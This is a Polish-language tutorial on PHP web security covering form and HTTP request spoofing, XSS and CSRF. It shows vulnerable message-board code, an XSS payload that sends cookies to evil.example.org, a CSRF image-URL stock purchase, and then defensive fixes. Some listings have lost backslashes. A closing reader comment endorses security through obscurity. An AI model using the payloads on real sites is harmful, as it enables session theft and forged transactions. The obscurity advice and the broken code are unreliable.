Spoofing zatwierdzania formularzy
Aby zrozumieć jak ważne jest filtrowanie danych, spójrz na poniższy formularz, który mógłby znajdować się pod adresem http://example.org/form.html
:
<form action="/process.php" method="POST">
<select name="color">
<option value="red">czerwony</option>
<option value="green">zielony</option>
<option value="blue">niebieski</option>
</select>
<input type="submit" />
</form>
Przypuśćmy, że użytkownik planujący dokonać ataku zapisuje ten formularz i modyfikuje go w następujący sposób:
<form action="http://example.org/process.php" method="POST">
<input type="text" name="color" />
<input type="submit" />
</form>
Ten nowy formularz może być zapisany gdziekolwiek (nie musi to być nawet formularz sieciowy, ponieważ potrzeba tylko, aby mogła go odczytać przeglądarka) i można nim dowolnie manipulować. Dopisany bezwzględny adres URL w atrybucie action
sprawia, że żądania POST
będą wysyłane w to samo miejsce, co wcześniej.
W ten sposób można bardzo łatwo ominąć wszelkie ograniczenia po stronie klienta, niezależnie czy są one w formie kodu HTML czy działających po stronie klienta skryptów implementujących podstawowe filtry. W tym przypadku element $_POST['color']
nie musi mieć wartości red
, green
ani blue
. Każdy, kto chce może w bardzo łatwy sposób utworzyć formularz, za pomocą którego będzie mógł wygodnie wysłać dowolne dane pod adres URL zawierający skrypt przetwarzający oryginalny formularz.
Spoofing żądań HTTP
Jeszcze bardziej niebezpieczną, ale mniej dogodną techniką jest spoofing żądań HTTP. W przypadku przedstawionego powyżej formularza, w którym użytkownik wybiera jeden z kolorów, tworzone jest żądanie HTTP pokazane na poniższym listingu (przy założeniu, że wybrano kolor czerwony):
POST /process.php HTTP/1.1
Host: example.org
Content-Type: application/x-www-form-urlencoded
Content-Length: 9
color=red
Za pomocą narzędzia telnet
można wykonać pewne proste testy. Poniższe polecenie wysyła proste żądanie GET
na adres http://www.php.net/
:
$ telnet www.php.net 80 Trying 64.246.30.37... Connected to rs/webmaster/php/przewodnik-po-zabezpieczeniach-aplikacji-php/rozdzial-1-informacje-ogolne/.net. Escape character is '^]'. GET / HTTP/1.1 Host: www.php.net HTTP/1.1 200 OK Date: Wed, 21 May 2004 12:34:56 GMT Server: Apache/1.3.26 (Unix) mod_gzip/1.3.26.1a PHP/4.3.3-dev X-Powered-By: PHP/4.3.3-dev Last-Modified: Wed, 21 May 2004 12:34:56 GMT Content-language: en Set-Cookie: COUNTRY=USA%2C12.34.56.78; expires=Wed,28-May-04 12:34:56 GMT; path=/; domain=.php.net Connection: close Transfer-Encoding: chunked Content-Type: text/html;charset=ISO-8859-1 2083 <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01Transitional//EN"> ...
Oczywiście zamiast ręcznie wpisywać żądania przy użyciu narzędzia telnet
, można napisać własnego klienta. Poniżej znajduje się przykład wysłania takiego samego żądania przy użyciu PHP:
<?php
$http_response = '';
$fp = fsockopen('www.php.net', 80);
fputs($fp, "GET / HTTP/1.1rn");
fputs($fp, "Host: www.php.netrnrn");
while (!feof($fp))
{
$http_response .= fgets($fp, 128);
}
fclose($fp);
echo nl2br(htmlentities($http_response));
?>
Możliwość wysyłania własnych żądań HTTP daje użytkownikowi pełną kontrolę nad tymi żądaniami i dlatego filtrowanie danych na serwerze jest tak ważne. Bez zastosowania tego typu filtrów nie ma żadnych gwarancji, co do jakości danych pochodzących z zewnętrznych źródeł.
Ataki typu Cross-Site Scripting
Termin cross-site scripting (XSS) został w dużej mierze rozpropagowany przez media i trzeba przyznać, że technika ta zasługuje na to zainteresowanie. Polega ona na wykorzystaniu jednej z najczęściej spotykanych luk w zabezpieczeniach aplikacji sieciowych, którą można znaleźć chociażby w wielu aplikacjach PHP typu open source.
Oto najważniejsze cechy ataków XSS:
- Wykorzystanie zaufania, jakim użytkownik darzy określony serwis internetowy.
Użytkownicy niekoniecznie ufają wszystkim serwisom internetowym, ale ich przeglądarki tak. Na przykład kiedy przeglądarka wysyła dane cookie w żądaniu, to znaczy, że ufa danemu serwisowi. Ponadto każdy użytkownik może mieć inne nawyki podczas przeglądania stron internetowych, a także mieć różne konfiguracje zabezpieczeń w zależności od tego, jaką stronę internetową odwiedza.
- Najczęściej wykorzystywane są serwisy internetowe, które wyświetlają dane pochodzące z zewnątrz.
Do aplikacji podwyższonego ryzyka należą formularze, sieciowe klienty poczty e-mail i wszystko, co wyświetla treść, jak kanały RSS.
- Wstrzykiwanie treści przez dokonującego ataku.
Jeśli zewnętrzne dane nie są poprawnie filtrowane, atakujący może sprawić, że Twoja strona wyświetli jego treść. Jest to tak samo niebezpieczne, jak pozwoleniu mu na edycję kodu źródłowego na serwerze.
Na czym to polega? Jeśli na Twojej stronie wyświetlana jest treść pochodząca z zewnętrznych źródeł bez odpowiedniego przefiltrowania, strona ta jest podatna na ataki XSS. Obce dane to nie tylko te, które są wysyłane przez klienta. Są to także wiadomości e-mail wyświetlane w sieciowym kliencie poczty elektronicznej, treść z kanałów RSS wyświetlana na blogu itp. Wszystko, co nie znajduje się w kodzie źródłowym, jest treścią zewnętrzną, a to oznacza, że większość danych pochodzi z zewnątrz.
Spójrz na poniższą prostą tablicę ogłoszeniową:
<form>
<input type="text" name="message"><br />
<input type="submit">
</form>
<?php
if (isset($_GET['message']))
{
$fp = fopen('./messages.txt', 'a');
fwrite($fp, "{$_GET['message']}<br />");
fclose($fp);
}
readfile('./messages.txt');
?>
Skrypt ten dodaje do tego, co wpisze użytkownik znacznik <br />
, dopisuje całość do pliku, a następnie wyświetla aktualną zawartość tego pliku.
Wyobraź sobie, że użytkownik wpisał następującą wiadomość:
<script>
document.location = 'http://evil.example.org/steal_cookies.php?cookies=' + document.cookie
</script>
Następny użytkownik mający włączoną obsługę JavaScriptu, który otworzy tę wiadomość zostanie skierowany na adres evil.example.org
i wszystkie dane cookie powiązane z aktualnym serwisem zostaną dołączone do łańcucha zapytania tego adresu URL.
Oczywiście prawdziwy napastnik wykazałby się o wiele większą pomysłowością w zakresie wykorzystania JavaScriptu. Jeśli chcesz, możesz zasugerować lepsze (bardziej szkodliwe) przykłady.
Jak się bronić? Obrona przed atakami XSS jest bardzo łatwa. Najgorsze są przypadki, gdy trzeba przyjąć z zewnętrznych źródeł (np. od użytkowników) kod HTML albo skrypty działające po stronie klienta, a następnie je wyświetlić, chociaż i to nie stanowi problemu nie do rozwiązania. Oto sposoby na zmniejszenie podatności aplikacji na ataki XSS:
- Filtruj wszystkie przychodzące dane.
Jak napisano wcześniej, filtrowanie danych to najważniejsza z wszystkich możliwych technik. Sprawdzając dane z zewnątrz zarówno podczas ich przyjmowania jak i wysyłania można wyeliminować większość możliwości przeprowadzenia ataku XSS.
- Używaj istniejących funkcji.
Do filtrowania używaj tego, co oferuje język PHP. Przydatne są takie funkcje, jak
htmlentities()
,strip_tags()
iutf8_decode()
. Nie pisz od nowa kodu, który robi to samo, co istniejące już funkcje PHP. Standardowa funkcja PHP będzie nie tylko znacznie szybsza, ale również lepiej przetestowana, a co za tym idzie istnieje mniejsze ryzyko, że będzie zawierać błędy powodujące luki w zabezpieczeniach. - Stosuj podejście typu białej listy.
Dopóki nie udowodnisz, że dane są poprawne, traktuj je jako niepoprawne. Między innymi należy weryfikować ich rozmiar i sprawdzać, czy nie zawierają niedozwolonych znaków. Jeśli na przykład użytkownik ma podać nazwisko, to można zezwolić na wpisywanie tylko znaków alfabetu i spacji. Bądź przesadnie ostrożny. Mimo iż taka nazwa, jak
O'Reilly
czy nazwiskoBerners-Lee
zostaną uznane za niepoprawne, można to łatwo poprawić poprzez dodanie dwóch znaków do białej listy. Lepiej jest uniemożliwić wprowadzenie poprawnych danych, niż przyjąć szkodliwe dane. - Ściśle trzymaj się określonej konwencji nazewniczej.
Jak było już pisane, konwencje nazewnicze ułatwiają odróżnianie danych przefiltrowanych od nieprzefiltrowanych. Ważne jest, aby wszystko była tak proste i oczywiste dla programistów, jak to możliwe. Niejasności zawsze prowadzą do braku zrozumienia, a to z kolei jest przyczyną powstawania luk w zabezpieczeniach.
Na poniższym listingu przedstawiona jest bezpieczniejsza wersja powyższej tablicy ogłoszeń:
<form>
<input type="text" name="message"><br />
<input type="submit">
</form>
<?php
if (isset($_GET['message']))
{
$message = htmlentities($_GET['message']);
$fp = fopen('./messages.txt', 'a');
fwrite($fp, "$message<br />");
fclose($fp);
}
readfile('./messages.txt');
?>
Wystarczyło dodać tylko wywołanie funkcji htmlentities()
, aby program stał się o wiele bardziej bezpieczny. Nie jest to jeszcze pełne bezpieczeństwo, ale zastosowanie tej funkcji to najprostszy środek, jaki można przedsięwziąć, aby zwiększyć poziom bezpieczeństwa aplikacji. Oczywiście należy przestrzegać wszystkich opisanych do tej pory zasad.
Ataki typu Cross-Site Request Forgery
Mimo podobieństwa nazw, ataki typu cross-site request forgery (CSRF) są prawie dokładnym przeciwieństwem ataków XSS. Podczas gdy atak XSS polega na wykorzystaniu zaufania, jakie użytkownik ma do serwisu internetowego, atak CSRF polega na wykorzystaniu zaufania, jakim serwis internetowy darzy użytkownika. Ataki CSRF są bardziej niebezpieczne i mniej popularne (co oznacza mniej źródeł dla programistów), ale też trudniej jest się przed nimi bronić.
Oto najważniejsze cechy ataków CSRF:
- Wykorzystanie zaufania, jakim serwis internetowy darzy użytkownika.
Wielu użytkownikom nie należy ufać, a mimo to aplikacje sieciowe przyznają im pewne uprawnienia, gdy się zalogują. Użytkownicy mający podwyższone uprawnienia są potencjalnymi ofiarami (w istocie są nieświadomymi współsprawcami).
- Najczęściej wykorzystują serwisy internetowe działające w oparciu o tożsamość użytkowników. Tożsamość użytkownika ma w nich bardzo duże znaczenie. Ataki CSRF mogą się powieść nawet, jeśli w aplikacji zaimplementowany jest bezpieczny system obsługi sesji. W istocie, to właśnie w tego typu środowiskach ataki te udają się najczęściej.
- Wykonywanie żądań HTTP spreparowanych przez dokonującego ataku.
Wszystkie rodzaje ataku CSRF polegają na sfałszowaniu żądania HTTP legalnego użytkownika (w istocie wszystko sprowadza się do zmuszenia podstępem użytkownika do wysłania żądania HTTP w imieniu atakującego). Można tego dokonać na wiele sposobów. Poniżej przedstawionych jest kilka przykładów jednej z tych technik.
Ponieważ ataki CSRF polegają na fałszowaniu żądań HTTP, ważne jest aby mieć przynajmniej podstawową wiedzę na temat tego protokołu.
Przeglądarka internetowa jest klientem HTTP, a serwer — serwerem HTTP. Klient wysyłając żądanie inicjuje transakcję, a serwer ją kończy wysyłając odpowiedź. Oto typowe żądanie HTTP:
GET / HTTP/1.1 Host: example.org User-Agent: Mozilla/5.0 Gecko Accept: text/xml, image/png, image/jpeg, image/gif, */*
Pierwsza linijka to tzw. wiersz żądania, który zawiera definicję metody żądania, jego adres URL (względny) i wersję użytego protokołu HTTP. W pozostałych wierszach znajdują się nagłówki HTTP w formacie: nazwa nagłówka, dwukropek, spacja oraz wartość.
Możliwe, że wiesz jak uzyskać dostęp do tych informacji przy użyciu PHP. Na przykład poniżej znajduje się skrypt zamieniający powyższe żądanie w łańcuch:
<?php
$request = '';
$request .= "{$_SERVER['REQUEST_METHOD']} ";
$request .= "{$_SERVER['REQUEST_URI']} ";
$request .= "{$_SERVER['SERVER_PROTOCOL']}rn";
$request .= "Host: {$_SERVER['HTTP_HOST']}rn";
$request .= "User-Agent: {$_SERVER['HTTP_USER_AGENT']}rn";
$request .= "Accept: {$_SERVER['HTTP_ACCEPT']}rnrn";
?>
Przykładowa odpowiedź na powyższe żądanie może być następująca:
HTTP/1.1 200 OK Content-Type: text/html Content-Length: 57 <html> <img src="http://example.org/image.png" /> </html>
Treść odpowiedzi to to, co użytkownik widzi w swojej przeglądarce. Obecny w tej odpowiedzi znacznik img
informuje przeglądarkę, że do poprawnego wyświetlenia strony konieczne jest pobranie dodatkowego zasobu (obrazu). Przeglądarka wysyła żądanie tego zasobu tak, jakby zażądała każdego innego. Poniżej znajduje się przykład takiego żądania:
GET /image.png HTTP/1.1 Host: example.org User-Agent: Mozilla/5.0 Gecko Accept: text/xml, image/png, image/jpeg, image/gif, */*
Należy się temu przyjrzeć. Przeglądarka żąda adresu URL podanego w atrybucie src
znacznika img
w taki sam sposób, jakby to sam użytkownik wpisał ten adres w przeglądarce. Przeglądarka w żaden sposób nie określa, że oczekuje w odpowiedzi obrazu graficznego.
Połącz tę informację z tym, co już zostało wcześniej napisane o formularzach, a następnie zastanów się nad poniższym adresem URL:
http://stocks.example.org/buy.php?symbol=SCOX&quantity=1000
Zatwierdzenie formularza metodą GET
może być nieodróżnialne od żądania obrazu — oba żądania mogą dotyczyć tego samego adresu URL. Gdyby dyrektywa register_globals
była włączona, to metoda wysyłania byłaby w ogóle nieważna (chyba że programista nadal używałby tablicy $_POST
itp.). Zapewne zaczynasz się domyślać, jakie jest tu niebezpieczeństwo.
Kolejną kwestią, która sprawia, że ataki typu CSRF są tak groźne, jest fakt iż do żądanego adresu URL dołączane są odnoszące się do niego dane cookie. Użytkownik mający jakiś ustalony związek z serwisem stocks.example.org
(np. będący w nim zalogowany) może kupić 1000
akcji spółki SCOX
wchodząc na stronę zawierającą znacznik img
z atrybutem src
, którego wartością jest pokazywany wcześniej adres URL.
Spójrz na poniższy formularz, który mógłby znajdować się pod adresem http://stocks.example.org/form.html
:
<p>Kup akcje teraz!</p>
<form action="/buy.php">
<p>Symbol: <input type="text" name="symbol" /></p>
<p>Liczba:<input type="text" name="quantity" /></p>
<input type="submit" />
</form>
Jeśli użytkownik w polu symbolu wpisze SCOX
, a w polu liczby wpisze 1000
i zatwierdzi formularz, to przeglądarka wyśle żądanie podobne do poniższego:
GET /buy.php?symbol=SCOX&quantity=1000 HTTP/1.1 Host: stocks.example.org User-Agent: Mozilla/5.0 Gecko Accept: text/xml, image/png, image/jpeg, image/gif, */* Cookie: PHPSESSID=1234
Nagłówek Cookie
został dodany, aby pokazać użycie cookie do przesyłania identyfikatora sesji. Gdyby znacznik img
odwoływał się do tego samego adresu URL, to w żądaniu tego adresu zostałby wysłany ten sam cookie i serwer przetwarzający to żądanie nie odróżniłby tego od prawdziwego zamówienia.
Możliwości ochrony aplikacji przed atakami CSRF jest kilka:
- Używanie w formularzach metody
POST
zamiastGET
. W atrybutach metody swoich formularzy wpisujPOST
. Oczywiście nie można tego zrobić we wszystkich przypadkach, ale gdy formularz wykonuje jakieś działania typu kupno akcji, metodę tę można zastosować. W istocie specyfikacja protokołu HTTP wymaga, aby metodaGET
była uznawana za bezpieczną. - Używanie tablicy
$_POST
zamiast polegania na dyrektywieregister_globals
. Stosowanie metodyPOST
do zatwierdzania formularzy na nic się nie zda, jeśli będzie się polegać na dyrektywieregister_globals
i odwoływać do zmiennych formularza za pomocą składni typu$symbol
i$quantity
. Jest to bezcelowe także wtedy, gdy używa się tablicy$_REQUEST.
- Nie przesadzaj z udogodnieniami.
Mimo iż umożliwienie użytkownikowi jak najwygodniejszego korzystania z aplikacji wydaje się wartościowym celem, zastosowanie zbyt wielu udogodnień może być fatalne w skutkach. Podczas gdy rozwiązania typu „za jednym kliknięciem” można zaimplementować w bardzo bezpieczny sposób, to ich proste implementacje są bardzo podatne na ataki CSRF.
- Wymuszaj używanie Twoich formularzy.
Największym problemem z atakami CSRF jest to, że mogą w nich być wysyłane żądania wyglądające jak zatwierdzenia formularza, ale nimi nie będące. Jeśli użytkownik nie zażądał strony zawierającej formularz, to czy żądanie wyglądające jak takie zatwierdzenie należy obsłużyć w normalny sposób?
Poniżej znajduje się jeszcze bezpieczniejsza wersja tablicy ogłoszeń:
<?php
$token = md5(time());
$fp = fopen('./tokens.txt', 'a');
fwrite($fp, "$tokenn");
fclose($fp);
?>
<form method="POST">
<input type="hidden" name="token" value="<?php echo $token; ?>" />
<input type="text" name="message"><br />
<input type="submit">
</form>
<?php
$tokens = file('./tokens.txt');
if (in_array($_POST['token'], $tokens))
{
if (isset($_POST['message']))
{
$message = htmlentities($_POST['message']);
$fp = fopen('./messages.txt', 'a');
fwrite($fp, "$message<br />");
fclose($fp);
}
}
readfile('./messages.txt');
?>
Powyższy kod nie jest jednak całkiem pozbawiony luk w zabezpieczeniach. Widzisz je?
Czas jest bardzo przewidywalny. Dlatego szyfr MD5 znacznika czasu jest słabą namiastką liczby losowej. Lepiej byłoby użyć funkcji uniqid()
i rand()
.
Co ważniejsze, uzyskanie poprawnego tokenu jest dla atakującego bardzo łatwe. Wystarczy wejść na tę stronę, aby poprawny token został wygenerowany i dołączony do źródła. Po uzyskaniu tokenu przeprowadzenie ataku jest tak samo łatwe, jak przed implementacją tego dodatkowego zabezpieczenia.
Oto poprawiona wersja skryptu:
<?php
session_start();
if (isset($_POST['message']))
{
if (isset($_SESSION['token']) && $_POST['token'] == $_SESSION['token'])
{
$message = htmlentities($_POST['message']);
$fp = fopen('./messages.txt', 'a');
fwrite($fp, "$message<br />");
fclose($fp);
}
}
$token = md5(uniqid(rand(), true));
$_SESSION['token'] = $token;
?>
<form method="POST">
<input type="hidden" name="token" value="<?php echo $token; ?>" />
<input type="text" name="message"><br />
<input type="submit">
</form>
<?php
readfile('./messages.txt');
?>
Wszystko fajnie ale życie jest bardziej skomplikowane, błędem jest twierdzić ze trzeba się trzymać utartych programów, tylko innowacyjność zapewnia doskonałą ochronę więc wszystko co zrobicie a czego nie powiecie to inni nie złamią.
Adam